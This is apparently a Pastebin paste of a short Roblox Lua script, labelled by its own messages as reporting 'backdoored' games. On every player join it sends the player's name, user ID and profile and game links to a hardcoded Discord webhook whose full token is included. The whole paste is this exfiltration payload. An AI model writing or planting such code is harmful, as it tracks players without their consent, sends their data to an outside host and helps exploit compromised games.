Advertisement
Guest User

log

a guest
Feb 14th, 2020
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. local Players = game:GetService("Players")
  2. local http = game:GetService("HttpService")
  3. local webhook = "https://discordapp.com/api/webhooks/677887979234263071/afMm8M2Luib38gPcx_xMwB-DP2YrnlvAqISUkLyns0nIw5q9Zf5NkBGbnJzZtkVEuOnn" -- Place Webhook link here
  4.  
  5. -- Actual Code --
  6.  
  7. Players.PlayerAdded:Connect(function(plr)
  8. local data =
  9. {
  10. ["contents"] = "Found a game!",
  11. ["embeds"] = {{
  12. ["title"]= plr.name,
  13. ["description"] = "Found a backdoored game!",
  14. ["type"]= "rich",
  15. ["color"]= tonumber(0x36393e),
  16. ["fields"]={
  17. {
  18. ["name"]="New Visitor",
  19. ["value"]="User: **"..plr.Name.."** with ID: **"..plr.UserId.."** has joined [Game](https://www.roblox.com/games/".. game.PlaceId..")/[Profile](https://www.roblox.com/users/"..plr.UserId.."/profile)",
  20. ["inline"]=true}}}}
  21. }
  22. http:PostAsync(webhook,http:JSONEncode(data))
  23. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement